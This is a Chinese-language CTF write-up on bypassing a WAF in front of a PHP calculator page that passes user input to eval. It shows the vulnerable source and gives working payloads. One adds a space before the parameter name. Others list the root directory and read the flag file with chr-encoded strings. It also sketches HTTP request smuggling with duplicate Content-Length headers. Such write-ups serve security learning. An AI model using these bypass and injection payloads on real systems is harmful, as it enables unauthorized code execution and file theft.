这题考的是waf的绕过,打开页面,发现是一个命令执行的页面,查看源码,发现通过js发了一个ajax请求 有注释,在中间加了waf 这题的主要的点也就在这里,有两者绕过姿势,1.在num之前加一个空格,这样在waf程序里匹配到的就是空格+num参数,而不是num参数,就可以绕过waf,把请求传到后端 服务器calc.php页面,盲猜waf是先get了num参数,才去做过滤等一系列参数的 那么请求到了calc.php页面进行了二次过滤
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
php解析的时候会自动去空格,所以这里获取到了num参数,但是他过滤了空格,\t等一系列参数,那这个就好办了,一个明显的eval在那里,只要程序执行到那就好 构造请求? num=var_dump(scandir(chr(47))) //查看当前目录的文件 ? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) //读取flagg文件 2.可以通过HTTP走私,来达到绕过waf的目的 具体可以看这篇 https://blog.csdn.net/a3320315/article/details/102937797 我们选用cl-cl做例子,简单来说,就是前端的代理服务器(可能就是waf在的地方)由于检测到了多个content-length头,将请求原封不动的传给了后端服务器,从而绕过了waf 后面的过程都一样 参考视频链接:https://www.bilibili.com/video/BV1RQ4y1y7yY/
|